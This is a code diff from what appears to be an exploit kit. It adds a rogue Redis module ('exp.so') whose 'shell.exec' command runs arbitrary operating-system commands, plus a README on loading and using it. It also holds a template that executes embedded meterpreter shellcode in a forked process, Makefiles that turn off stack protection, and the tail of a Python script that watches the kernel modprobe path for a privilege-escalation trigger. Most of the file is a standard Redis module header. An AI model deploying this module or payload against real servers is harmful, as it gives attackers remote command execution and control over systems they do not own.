+for x in xrange(0,60*10):
+	if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read():
+		print "done"
+		trigger()
+	time.sleep(1)
+	sys.stderr.write(".")
+
+print "timed out"
@@ -0,0 +1,35 @@
+#set environment variable RM_INCLUDE_DIR to the location of redismodule.h
+ifndef RM_INCLUDE_DIR
+	RM_INCLUDE_DIR=./
+endif
+
+ifndef RMUTIL_LIBDIR
+	RMUTIL_LIBDIR=./rmutil
+endif
+
+# find the OS
+uname_S := $(shell sh -c 'uname -s 2>/dev/null || echo not')
+
+# Compile flags for linux / osx
+ifeq ($(uname_S),Linux)
+	SHOBJ_CFLAGS ?=  -fno-common -g -ggdb
+	SHOBJ_LDFLAGS ?= -shared -Bsymbolic
+else
+	SHOBJ_CFLAGS ?= -dynamic -fno-common -g -ggdb
+	SHOBJ_LDFLAGS ?= -bundle -undefined dynamic_lookup
+endif
+CFLAGS = -I$(RM_INCLUDE_DIR) -Wall -g -fPIC -lc -lm -std=gnu99 -fno-stack-protector -z execstack 
+CC=gcc
+
+all: rmutil module.so
+
+rmutil: FORCE
+	$(MAKE) -C $(RMUTIL_LIBDIR)
+
+module.so: module.o
+	$(LD) -o $@ module.o $(SHOBJ_LDFLAGS) $(LIBS) -L$(RMUTIL_LIBDIR) -lrmutil -lc -z execstack
+
+clean:
+	rm -rf *.xo *.so *.o
+
+FORCE:
@@ -0,0 +1,35 @@
+#set environment variable RM_INCLUDE_DIR to the location of redismodule.h
+ifndef RM_INCLUDE_DIR
+	RM_INCLUDE_DIR=../
+endif
+
+ifndef RMUTIL_LIBDIR
+	RMUTIL_LIBDIR=../rmutil
+endif
+
+# find the OS
+uname_S := $(shell sh -c 'uname -s 2>/dev/null || echo not')
+
+# Compile flags for linux / osx
+ifeq ($(uname_S),Linux)
+	SHOBJ_CFLAGS ?=  -fno-common -g -ggdb
+	SHOBJ_LDFLAGS ?= -shared -Bsymbolic
+else
+	SHOBJ_CFLAGS ?= -dynamic -fno-common -g -ggdb
+	SHOBJ_LDFLAGS ?= -bundle -undefined dynamic_lookup
+endif
+CFLAGS = -I$(RM_INCLUDE_DIR) -Wall -g -fPIC -lc -lm -std=gnu99 -fno-stack-protector -z execstack 
+CC=gcc
+
+all: rmutil exp.so
+
+rmutil: FORCE
+	$(MAKE) -C $(RMUTIL_LIBDIR)
+
+exp.so: exp.o
+	$(LD) -o $@ exp.o $(SHOBJ_LDFLAGS) $(LIBS) -L$(RMUTIL_LIBDIR) -lrmutil -lc -z execstack
+
+clean:
+	rm -rf *.xo *.so *.o
+
+FORCE:
@@ -0,0 +1,47 @@
+#include "redismodule.h"
+
+#include <stdio.h> 
+#include <unistd.h>  
+#include <stdlib.h> 
+#include <errno.h>   
+#include <sys/wait.h>
+#include <sys/types.h> 
+#include <sys/socket.h>
+#include <netinet/in.h>
+
+int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
+        if (argc == 2) {
+                size_t cmd_len;
+                size_t size = 1024;
+                char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
+
+                FILE *fp = popen(cmd, "r");
+                char *buf, *output;
+                buf = (char *)malloc(size);
+                output = (char *)malloc(size);
+                while ( fgets(buf, sizeof(buf), fp) != 0 ) {
+                        if (strlen(buf) + strlen(output) >= size) {
+                                output = realloc(output, size<<2);
+                                size <<= 1;
+                        }
+                        strcat(output, buf);
+                }
+                RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
+                RedisModule_ReplyWithString(ctx, ret);
+                pclose(fp);
+        } else {
+                return RedisModule_WrongArity(ctx);
+        }
+        return REDISMODULE_OK;
+}
+
+int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
+    if (RedisModule_Init(ctx,"shell",1,REDISMODULE_APIVER_1)
+                        == REDISMODULE_ERR) return REDISMODULE_ERR;
+
+    if (RedisModule_CreateCommand(ctx, "shell.exec",
+        Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
+        return REDISMODULE_ERR;
+
+    return REDISMODULE_OK;
+}
@@ -0,0 +1,23 @@
+## Intro
+
+This is a compiled shared object file of redis module.
+
+## Load redis extension
+
+```
+MODULE load ./exp.so
+```
+
+## Run command
+
+```
+redis-cli
+127.0.0.1:6379> shell.exec "whoami"
+```
+## Compile
+
+You can modify the exp.c source code if you want.
+And the compile it to exp.so in current directory.
+```
+make
+```
@@ -0,0 +1,38 @@
+#include "redismodule.h"
+
+#include <stdio.h> 
+#include <unistd.h>  
+#include <stdlib.h> 
+#include <errno.h>   
+#include <sys/wait.h>
+#include <sys/types.h> 
+#include <sys/socket.h>
+#include <netinet/in.h>
+
+int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
+
+    pid_t child_pid = fork();
+    if (child_pid == 0)
+    {
+        // Your meterpreter shell here
+        <%= buf %>
+
+        int (*ret)() = (int(*)())buf;
+        ret();
+    }
+    else
+        {wait(NULL);}
+
+    return REDISMODULE_OK;
+}
+
+
+int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
+    if (RedisModule_Init(ctx,<%= @module_init_name.inspect %>,1,REDISMODULE_APIVER_1)
+                        == REDISMODULE_ERR) return REDISMODULE_ERR;
+
+    if (RedisModule_CreateCommand(ctx, <%= @module_cmd.inspect %>,
+        Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
+        return REDISMODULE_ERR;
+    return REDISMODULE_OK;
+}
@@ -0,0 +1,509 @@
+#ifndef REDISMODULE_H
+#define REDISMODULE_H
+
+#include <sys/types.h>
+#include <stdint.h>
+#include <stdio.h>
+
+/* ---------------- Defines common between core and modules --------------- */
+
+/* Error status return values. */
+#define REDISMODULE_OK 0
+#define REDISMODULE_ERR 1
+
+/* API versions. */
+#define REDISMODULE_APIVER_1 1
+
+/* API flags and constants */
+#define REDISMODULE_READ (1<<0)
+#define REDISMODULE_WRITE (1<<1)
+
+#define REDISMODULE_LIST_HEAD 0
+#define REDISMODULE_LIST_TAIL 1
+
+/* Key types. */
+#define REDISMODULE_KEYTYPE_EMPTY 0
+#define REDISMODULE_KEYTYPE_STRING 1
+#define REDISMODULE_KEYTYPE_LIST 2
+#define REDISMODULE_KEYTYPE_HASH 3
+#define REDISMODULE_KEYTYPE_SET 4
+#define REDISMODULE_KEYTYPE_ZSET 5
+#define REDISMODULE_KEYTYPE_MODULE 6
+
+/* Reply types. */
+#define REDISMODULE_REPLY_UNKNOWN -1
+#define REDISMODULE_REPLY_STRING 0
+#define REDISMODULE_REPLY_ERROR 1
+#define REDISMODULE_REPLY_INTEGER 2
+#define REDISMODULE_REPLY_ARRAY 3
+#define REDISMODULE_REPLY_NULL 4
+
+/* Postponed array length. */
+#define REDISMODULE_POSTPONED_ARRAY_LEN -1
+
+/* Expire */
+#define REDISMODULE_NO_EXPIRE -1
+
+/* Sorted set API flags. */
+#define REDISMODULE_ZADD_XX      (1<<0)
+#define REDISMODULE_ZADD_NX      (1<<1)
+#define REDISMODULE_ZADD_ADDED   (1<<2)
+#define REDISMODULE_ZADD_UPDATED (1<<3)
+#define REDISMODULE_ZADD_NOP     (1<<4)
+
+/* Hash API flags. */
+#define REDISMODULE_HASH_NONE       0
+#define REDISMODULE_HASH_NX         (1<<0)
+#define REDISMODULE_HASH_XX         (1<<1)
+#define REDISMODULE_HASH_CFIELDS    (1<<2)
+#define REDISMODULE_HASH_EXISTS     (1<<3)
+
+/* Context Flags: Info about the current context returned by
+ * RM_GetContextFlags(). */
+
+/* The command is running in the context of a Lua script */
+#define REDISMODULE_CTX_FLAGS_LUA (1<<0)
+/* The command is running inside a Redis transaction */
+#define REDISMODULE_CTX_FLAGS_MULTI (1<<1)
+/* The instance is a master */
+#define REDISMODULE_CTX_FLAGS_MASTER (1<<2)
+/* The instance is a slave */
+#define REDISMODULE_CTX_FLAGS_SLAVE (1<<3)
+/* The instance is read-only (usually meaning it's a slave as well) */
+#define REDISMODULE_CTX_FLAGS_READONLY (1<<4)
+/* The instance is running in cluster mode */
+#define REDISMODULE_CTX_FLAGS_CLUSTER (1<<5)
+/* The instance has AOF enabled */
+#define REDISMODULE_CTX_FLAGS_AOF (1<<6)
+/* The instance has RDB enabled */
+#define REDISMODULE_CTX_FLAGS_RDB (1<<7)
+/* The instance has Maxmemory set */
+#define REDISMODULE_CTX_FLAGS_MAXMEMORY (1<<8)
+/* Maxmemory is set and has an eviction policy that may delete keys */
+#define REDISMODULE_CTX_FLAGS_EVICT (1<<9)
+/* Redis is out of memory according to the maxmemory flag. */
+#define REDISMODULE_CTX_FLAGS_OOM (1<<10)
+/* Less than 25% of memory available according to maxmemory. */
+#define REDISMODULE_CTX_FLAGS_OOM_WARNING (1<<11)
+
+#define REDISMODULE_NOTIFY_GENERIC (1<<2)     /* g */
+#define REDISMODULE_NOTIFY_STRING (1<<3)      /* $ */
+#define REDISMODULE_NOTIFY_LIST (1<<4)        /* l */
+#define REDISMODULE_NOTIFY_SET (1<<5)         /* s */
+#define REDISMODULE_NOTIFY_HASH (1<<6)        /* h */
+#define REDISMODULE_NOTIFY_ZSET (1<<7)        /* z */
+#define REDISMODULE_NOTIFY_EXPIRED (1<<8)     /* x */
+#define REDISMODULE_NOTIFY_EVICTED (1<<9)     /* e */
+#define REDISMODULE_NOTIFY_STREAM (1<<10)     /* t */
+#define REDISMODULE_NOTIFY_ALL (REDISMODULE_NOTIFY_GENERIC | REDISMODULE_NOTIFY_STRING | REDISMODULE_NOTIFY_LIST | REDISMODULE_NOTIFY_SET | REDISMODULE_NOTIFY_HASH | REDISMODULE_NOTIFY_ZSET | REDISMODULE_NOTIFY_EXPIRED | REDISMODULE_NOTIFY_EVICTED | REDISMODULE_NOTIFY_STREAM)      /* A */
+
+
+/* A special pointer that we can use between the core and the module to signal
+ * field deletion, and that is impossible to be a valid pointer. */
+#define REDISMODULE_HASH_DELETE ((RedisModuleString*)(long)1)
+
+/* Error messages. */
+#define REDISMODULE_ERRORMSG_WRONGTYPE "WRONGTYPE Operation against a key holding the wrong kind of value"
+
+#define REDISMODULE_POSITIVE_INFINITE (1.0/0.0)
+#define REDISMODULE_NEGATIVE_INFINITE (-1.0/0.0)
+
+/* Cluster API defines. */
+#define REDISMODULE_NODE_ID_LEN 40
+#define REDISMODULE_NODE_MYSELF     (1<<0)
+#define REDISMODULE_NODE_MASTER     (1<<1)
+#define REDISMODULE_NODE_SLAVE      (1<<2)
+#define REDISMODULE_NODE_PFAIL      (1<<3)
+#define REDISMODULE_NODE_FAIL       (1<<4)
+#define REDISMODULE_NODE_NOFAILOVER (1<<5)
+
+#define REDISMODULE_CLUSTER_FLAG_NONE 0
+#define REDISMODULE_CLUSTER_FLAG_NO_FAILOVER (1<<1)
+#define REDISMODULE_CLUSTER_FLAG_NO_REDIRECTION (1<<2)
+
+#define REDISMODULE_NOT_USED(V) ((void) V)
+
+/* This type represents a timer handle, and is returned when a timer is
+ * registered and used in order to invalidate a timer. It's just a 64 bit
+ * number, because this is how each timer is represented inside the radix tree
+ * of timers that are going to expire, sorted by expire time. */
+typedef uint64_t RedisModuleTimerID;
+
+/* ------------------------- End of common defines ------------------------ */
+
+#ifndef REDISMODULE_CORE
+
+typedef long long mstime_t;
+
+/* Incomplete structures for compiler checks but opaque access. */
+typedef struct RedisModuleCtx RedisModuleCtx;
+typedef struct RedisModuleKey RedisModuleKey;
+typedef struct RedisModuleString RedisModuleString;
+typedef struct RedisModuleCallReply RedisModuleCallReply;
+typedef struct RedisModuleIO RedisModuleIO;
+typedef struct RedisModuleType RedisModuleType;
+typedef struct RedisModuleDigest RedisModuleDigest;
+typedef struct RedisModuleBlockedClient RedisModuleBlockedClient;
+typedef struct RedisModuleClusterInfo RedisModuleClusterInfo;
+typedef struct RedisModuleDict RedisModuleDict;
+typedef struct RedisModuleDictIter RedisModuleDictIter;
+
+typedef int (*RedisModuleCmdFunc)(RedisModuleCtx *ctx, RedisModuleString **argv, int argc);
+typedef void (*RedisModuleDisconnectFunc)(RedisModuleCtx *ctx, RedisModuleBlockedClient *bc);
+typedef int (*RedisModuleNotificationFunc)(RedisModuleCtx *ctx, int type, const char *event, RedisModuleString *key);
+typedef void *(*RedisModuleTypeLoadFunc)(RedisModuleIO *rdb, int encver);
+typedef void (*RedisModuleTypeSaveFunc)(RedisModuleIO *rdb, void *value);
+typedef void (*RedisModuleTypeRewriteFunc)(RedisModuleIO *aof, RedisModuleString *key, void *value);
+typedef size_t (*RedisModuleTypeMemUsageFunc)(const void *value);
+typedef void (*RedisModuleTypeDigestFunc)(RedisModuleDigest *digest, void *value);
+typedef void (*RedisModuleTypeFreeFunc)(void *value);
+typedef void (*RedisModuleClusterMessageReceiver)(RedisModuleCtx *ctx, const char *sender_id, uint8_t type, const unsigned char *payload, uint32_t len);
+typedef void (*RedisModuleTimerProc)(RedisModuleCtx *ctx, void *data);
+
+#define REDISMODULE_TYPE_METHOD_VERSION 1
+typedef struct RedisModuleTypeMethods {
+    uint64_t version;
+    RedisModuleTypeLoadFunc rdb_load;
+    RedisModuleTypeSaveFunc rdb_save;
+    RedisModuleTypeRewriteFunc aof_rewrite;
+    RedisModuleTypeMemUsageFunc mem_usage;
+    RedisModuleTypeDigestFunc digest;
+    RedisModuleTypeFreeFunc free;
+} RedisModuleTypeMethods;
+
+#define REDISMODULE_GET_API(name) \
+    RedisModule_GetApi("RedisModule_" #name, ((void **)&RedisModule_ ## name))
+
+#define REDISMODULE_API_FUNC(x) (*x)
+
+
+void *REDISMODULE_API_FUNC(RedisModule_Alloc)(size_t bytes);
+void *REDISMODULE_API_FUNC(RedisModule_Realloc)(void *ptr, size_t bytes);
+void REDISMODULE_API_FUNC(RedisModule_Free)(void *ptr);
+void *REDISMODULE_API_FUNC(RedisModule_Calloc)(size_t nmemb, size_t size);
+char *REDISMODULE_API_FUNC(RedisModule_Strdup)(const char *str);
+int REDISMODULE_API_FUNC(RedisModule_GetApi)(const char *, void *);
+int REDISMODULE_API_FUNC(RedisModule_CreateCommand)(RedisModuleCtx *ctx, const char *name, RedisModuleCmdFunc cmdfunc, const char *strflags, int firstkey, int lastkey, int keystep);
+void REDISMODULE_API_FUNC(RedisModule_SetModuleAttribs)(RedisModuleCtx *ctx, const char *name, int ver, int apiver);
+int REDISMODULE_API_FUNC(RedisModule_IsModuleNameBusy)(const char *name);
+int REDISMODULE_API_FUNC(RedisModule_WrongArity)(RedisModuleCtx *ctx);
+int REDISMODULE_API_FUNC(RedisModule_ReplyWithLongLong)(RedisModuleCtx *ctx, long long ll);
+int REDISMODULE_API_FUNC(RedisModule_GetSelectedDb)(RedisModuleCtx *ctx);
+int REDISMODULE_API_FUNC(RedisModule_SelectDb)(RedisModuleCtx *ctx, int newid);
+void *REDISMODULE_API_FUNC(RedisModule_OpenKey)(RedisModuleCtx *ctx, RedisModuleString *keyname, int mode);
+void REDISMODULE_API_FUNC(RedisModule_CloseKey)(RedisModuleKey *kp);
+int REDISMODULE_API_FUNC(RedisModule_KeyType)(RedisModuleKey *kp);
+size_t REDISMODULE_API_FUNC(RedisModule_ValueLength)(RedisModuleKey *kp);
+int REDISMODULE_API_FUNC(RedisModule_ListPush)(RedisModuleKey *kp, int where, RedisModuleString *ele);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ListPop)(RedisModuleKey *key, int where);
+RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_Call)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
+const char *REDISMODULE_API_FUNC(RedisModule_CallReplyProto)(RedisModuleCallReply *reply, size_t *len);
+void REDISMODULE_API_FUNC(RedisModule_FreeCallReply)(RedisModuleCallReply *reply);
+int REDISMODULE_API_FUNC(RedisModule_CallReplyType)(RedisModuleCallReply *reply);
+long long REDISMODULE_API_FUNC(RedisModule_CallReplyInteger)(RedisModuleCallReply *reply);
+size_t REDISMODULE_API_FUNC(RedisModule_CallReplyLength)(RedisModuleCallReply *reply);
+RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_CallReplyArrayElement)(RedisModuleCallReply *reply, size_t idx);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateString)(RedisModuleCtx *ctx, const char *ptr, size_t len);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromLongLong)(RedisModuleCtx *ctx, long long ll);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromString)(RedisModuleCtx *ctx, const RedisModuleString *str);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringPrintf)(RedisModuleCtx *ctx, const char *fmt, ...);
+void REDISMODULE_API_FUNC(RedisModule_FreeString)(RedisModuleCtx *ctx, RedisModuleString *str);
+const char *REDISMODULE_API_FUNC(RedisModule_StringPtrLen)(const RedisModuleString *str, size_t *len);
+int REDISMODULE_API_FUNC(RedisModule_ReplyWithError)(RedisModuleCtx *ctx, const char *err);
+int REDISMODULE_API_FUNC(RedisModule_ReplyWithSimpleString)(RedisModuleCtx *ctx, const char *msg);
+int REDISMODULE_API_FUNC(RedisModule_ReplyWithArray)(RedisModuleCtx *ctx, long len);
+void REDISMODULE_API_FUNC(RedisModule_ReplySetArrayLength)(RedisModuleCtx *ctx, long len);
+int REDISMODULE_API_FUNC(RedisModule_ReplyWithStringBuffer)(RedisModuleCtx *ctx, const char *buf, size_t len);
+int REDISMODULE_API_FUNC(RedisModule_ReplyWithString)(RedisModuleCtx *ctx, RedisModuleString *str);
+int REDISMODULE_API_FUNC(RedisModule_ReplyWithNull)(RedisModuleCtx *ctx);
+int REDISMODULE_API_FUNC(RedisModule_ReplyWithDouble)(RedisModuleCtx *ctx, double d);
+int REDISMODULE_API_FUNC(RedisModule_ReplyWithCallReply)(RedisModuleCtx *ctx, RedisModuleCallReply *reply);
+int REDISMODULE_API_FUNC(RedisModule_StringToLongLong)(const RedisModuleString *str, long long *ll);
+int REDISMODULE_API_FUNC(RedisModule_StringToDouble)(const RedisModuleString *str, double *d);
+void REDISMODULE_API_FUNC(RedisModule_AutoMemory)(RedisModuleCtx *ctx);
+int REDISMODULE_API_FUNC(RedisModule_Replicate)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
+int REDISMODULE_API_FUNC(RedisModule_ReplicateVerbatim)(RedisModuleCtx *ctx);
+const char *REDISMODULE_API_FUNC(RedisModule_CallReplyStringPtr)(RedisModuleCallReply *reply, size_t *len);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromCallReply)(RedisModuleCallReply *reply);
+int REDISMODULE_API_FUNC(RedisModule_DeleteKey)(RedisModuleKey *key);
+int REDISMODULE_API_FUNC(RedisModule_UnlinkKey)(RedisModuleKey *key);
+int REDISMODULE_API_FUNC(RedisModule_StringSet)(RedisModuleKey *key, RedisModuleString *str);
+char *REDISMODULE_API_FUNC(RedisModule_StringDMA)(RedisModuleKey *key, size_t *len, int mode);
+int REDISMODULE_API_FUNC(RedisModule_StringTruncate)(RedisModuleKey *key, size_t newlen);
+mstime_t REDISMODULE_API_FUNC(RedisModule_GetExpire)(RedisModuleKey *key);
+int REDISMODULE_API_FUNC(RedisModule_SetExpire)(RedisModuleKey *key, mstime_t expire);
+int REDISMODULE_API_FUNC(RedisModule_ZsetAdd)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr);
+int REDISMODULE_API_FUNC(RedisModule_ZsetIncrby)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr, double *newscore);
+int REDISMODULE_API_FUNC(RedisModule_ZsetScore)(RedisModuleKey *key, RedisModuleString *ele, double *score);
+int REDISMODULE_API_FUNC(RedisModule_ZsetRem)(RedisModuleKey *key, RedisModuleString *ele, int *deleted);
+void REDISMODULE_API_FUNC(RedisModule_ZsetRangeStop)(RedisModuleKey *key);
+int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
+int REDISMODULE_API_FUNC(RedisModule_ZsetLastInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
+int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
+int REDISMODULE_API_FUNC(RedisModule_ZsetLastInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ZsetRangeCurrentElement)(RedisModuleKey *key, double *score);
+int REDISMODULE_API_FUNC(RedisModule_ZsetRangeNext)(RedisModuleKey *key);
+int REDISMODULE_API_FUNC(RedisModule_ZsetRangePrev)(RedisModuleKey *key);
+int REDISMODULE_API_FUNC(RedisModule_ZsetRangeEndReached)(RedisModuleKey *key);
+int REDISMODULE_API_FUNC(RedisModule_HashSet)(RedisModuleKey *key, int flags, ...);
+int REDISMODULE_API_FUNC(RedisModule_HashGet)(RedisModuleKey *key, int flags, ...);
+int REDISMODULE_API_FUNC(RedisModule_IsKeysPositionRequest)(RedisModuleCtx *ctx);
+void REDISMODULE_API_FUNC(RedisModule_KeyAtPos)(RedisModuleCtx *ctx, int pos);
+unsigned long long REDISMODULE_API_FUNC(RedisModule_GetClientId)(RedisModuleCtx *ctx);
+int REDISMODULE_API_FUNC(RedisModule_GetContextFlags)(RedisModuleCtx *ctx);
+void *REDISMODULE_API_FUNC(RedisModule_PoolAlloc)(RedisModuleCtx *ctx, size_t bytes);
+RedisModuleType *REDISMODULE_API_FUNC(RedisModule_CreateDataType)(RedisModuleCtx *ctx, const char *name, int encver, RedisModuleTypeMethods *typemethods);
+int REDISMODULE_API_FUNC(RedisModule_ModuleTypeSetValue)(RedisModuleKey *key, RedisModuleType *mt, void *value);
+RedisModuleType *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetType)(RedisModuleKey *key);
+void *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetValue)(RedisModuleKey *key);
+void REDISMODULE_API_FUNC(RedisModule_SaveUnsigned)(RedisModuleIO *io, uint64_t value);
+uint64_t REDISMODULE_API_FUNC(RedisModule_LoadUnsigned)(RedisModuleIO *io);
+void REDISMODULE_API_FUNC(RedisModule_SaveSigned)(RedisModuleIO *io, int64_t value);
+int64_t REDISMODULE_API_FUNC(RedisModule_LoadSigned)(RedisModuleIO *io);
+void REDISMODULE_API_FUNC(RedisModule_EmitAOF)(RedisModuleIO *io, const char *cmdname, const char *fmt, ...);
+void REDISMODULE_API_FUNC(RedisModule_SaveString)(RedisModuleIO *io, RedisModuleString *s);
+void REDISMODULE_API_FUNC(RedisModule_SaveStringBuffer)(RedisModuleIO *io, const char *str, size_t len);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_LoadString)(RedisModuleIO *io);
+char *REDISMODULE_API_FUNC(RedisModule_LoadStringBuffer)(RedisModuleIO *io, size_t *lenptr);
+void REDISMODULE_API_FUNC(RedisModule_SaveDouble)(RedisModuleIO *io, double value);
+double REDISMODULE_API_FUNC(RedisModule_LoadDouble)(RedisModuleIO *io);
+void REDISMODULE_API_FUNC(RedisModule_SaveFloat)(RedisModuleIO *io, float value);
+float REDISMODULE_API_FUNC(RedisModule_LoadFloat)(RedisModuleIO *io);
+void REDISMODULE_API_FUNC(RedisModule_Log)(RedisModuleCtx *ctx, const char *level, const char *fmt, ...);
+void REDISMODULE_API_FUNC(RedisModule_LogIOError)(RedisModuleIO *io, const char *levelstr, const char *fmt, ...);
+int REDISMODULE_API_FUNC(RedisModule_StringAppendBuffer)(RedisModuleCtx *ctx, RedisModuleString *str, const char *buf, size_t len);
+void REDISMODULE_API_FUNC(RedisModule_RetainString)(RedisModuleCtx *ctx, RedisModuleString *str);
+int REDISMODULE_API_FUNC(RedisModule_StringCompare)(RedisModuleString *a, RedisModuleString *b);
+RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetContextFromIO)(RedisModuleIO *io);
+long long REDISMODULE_API_FUNC(RedisModule_Milliseconds)(void);
+void REDISMODULE_API_FUNC(RedisModule_DigestAddStringBuffer)(RedisModuleDigest *md, unsigned char *ele, size_t len);
+void REDISMODULE_API_FUNC(RedisModule_DigestAddLongLong)(RedisModuleDigest *md, long long ele);
+void REDISMODULE_API_FUNC(RedisModule_DigestEndSequence)(RedisModuleDigest *md);
+RedisModuleDict *REDISMODULE_API_FUNC(RedisModule_CreateDict)(RedisModuleCtx *ctx);
+void REDISMODULE_API_FUNC(RedisModule_FreeDict)(RedisModuleCtx *ctx, RedisModuleDict *d);
+uint64_t REDISMODULE_API_FUNC(RedisModule_DictSize)(RedisModuleDict *d);
+int REDISMODULE_API_FUNC(RedisModule_DictSetC)(RedisModuleDict *d, void *key, size_t keylen, void *ptr);
+int REDISMODULE_API_FUNC(RedisModule_DictReplaceC)(RedisModuleDict *d, void *key, size_t keylen, void *ptr);
+int REDISMODULE_API_FUNC(RedisModule_DictSet)(RedisModuleDict *d, RedisModuleString *key, void *ptr);
+int REDISMODULE_API_FUNC(RedisModule_DictReplace)(RedisModuleDict *d, RedisModuleString *key, void *ptr);
+void *REDISMODULE_API_FUNC(RedisModule_DictGetC)(RedisModuleDict *d, void *key, size_t keylen, int *nokey);
+void *REDISMODULE_API_FUNC(RedisModule_DictGet)(RedisModuleDict *d, RedisModuleString *key, int *nokey);
+int REDISMODULE_API_FUNC(RedisModule_DictDelC)(RedisModuleDict *d, void *key, size_t keylen, void *oldval);
+int REDISMODULE_API_FUNC(RedisModule_DictDel)(RedisModuleDict *d, RedisModuleString *key, void *oldval);
+RedisModuleDictIter *REDISMODULE_API_FUNC(RedisModule_DictIteratorStartC)(RedisModuleDict *d, const char *op, void *key, size_t keylen);
+RedisModuleDictIter *REDISMODULE_API_FUNC(RedisModule_DictIteratorStart)(RedisModuleDict *d, const char *op, RedisModuleString *key);
+void REDISMODULE_API_FUNC(RedisModule_DictIteratorStop)(RedisModuleDictIter *di);
+int REDISMODULE_API_FUNC(RedisModule_DictIteratorReseekC)(RedisModuleDictIter *di, const char *op, void *key, size_t keylen);
+int REDISMODULE_API_FUNC(RedisModule_DictIteratorReseek)(RedisModuleDictIter *di, const char *op, RedisModuleString *key);
+void *REDISMODULE_API_FUNC(RedisModule_DictNextC)(RedisModuleDictIter *di, size_t *keylen, void **dataptr);
+void *REDISMODULE_API_FUNC(RedisModule_DictPrevC)(RedisModuleDictIter *di, size_t *keylen, void **dataptr);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_DictNext)(RedisModuleCtx *ctx, RedisModuleDictIter *di, void **dataptr);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_DictPrev)(RedisModuleCtx *ctx, RedisModuleDictIter *di, void **dataptr);
+int REDISMODULE_API_FUNC(RedisModule_DictCompareC)(RedisModuleDictIter *di, const char *op, void *key, size_t keylen);
+int REDISMODULE_API_FUNC(RedisModule_DictCompare)(RedisModuleDictIter *di, const char *op, RedisModuleString *key);
+
+/* Experimental APIs */
+#ifdef REDISMODULE_EXPERIMENTAL_API
+#define REDISMODULE_EXPERIMENTAL_API_VERSION 3
+RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_BlockClient)(RedisModuleCtx *ctx, RedisModuleCmdFunc reply_callback, RedisModuleCmdFunc timeout_callback, void (*free_privdata)(RedisModuleCtx*,void*), long long timeout_ms);
+int REDISMODULE_API_FUNC(RedisModule_UnblockClient)(RedisModuleBlockedClient *bc, void *privdata);
+int REDISMODULE_API_FUNC(RedisModule_IsBlockedReplyRequest)(RedisModuleCtx *ctx);
+int REDISMODULE_API_FUNC(RedisModule_IsBlockedTimeoutRequest)(RedisModuleCtx *ctx);
+void *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientPrivateData)(RedisModuleCtx *ctx);
+RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientHandle)(RedisModuleCtx *ctx);
+int REDISMODULE_API_FUNC(RedisModule_AbortBlock)(RedisModuleBlockedClient *bc);
+RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetThreadSafeContext)(RedisModuleBlockedClient *bc);
+void REDISMODULE_API_FUNC(RedisModule_FreeThreadSafeContext)(RedisModuleCtx *ctx);
+void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextLock)(RedisModuleCtx *ctx);
+void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextUnlock)(RedisModuleCtx *ctx);
+int REDISMODULE_API_FUNC(RedisModule_SubscribeToKeyspaceEvents)(RedisModuleCtx *ctx, int types, RedisModuleNotificationFunc cb);
+int REDISMODULE_API_FUNC(RedisModule_BlockedClientDisconnected)(RedisModuleCtx *ctx);
+void REDISMODULE_API_FUNC(RedisModule_RegisterClusterMessageReceiver)(RedisModuleCtx *ctx, uint8_t type, RedisModuleClusterMessageReceiver callback);
+int REDISMODULE_API_FUNC(RedisModule_SendClusterMessage)(RedisModuleCtx *ctx, char *target_id, uint8_t type, unsigned char *msg, uint32_t len);
+int REDISMODULE_API_FUNC(RedisModule_GetClusterNodeInfo)(RedisModuleCtx *ctx, const char *id, char *ip, char *master_id, int *port, int *flags);
+char **REDISMODULE_API_FUNC(RedisModule_GetClusterNodesList)(RedisModuleCtx *ctx, size_t *numnodes);
+void REDISMODULE_API_FUNC(RedisModule_FreeClusterNodesList)(char **ids);
+RedisModuleTimerID REDISMODULE_API_FUNC(RedisModule_CreateTimer)(RedisModuleCtx *ctx, mstime_t period, RedisModuleTimerProc callback, void *data);
+int REDISMODULE_API_FUNC(RedisModule_StopTimer)(RedisModuleCtx *ctx, RedisModuleTimerID id, void **data);
+int REDISMODULE_API_FUNC(RedisModule_GetTimerInfo)(RedisModuleCtx *ctx, RedisModuleTimerID id, uint64_t *remaining, void **data);
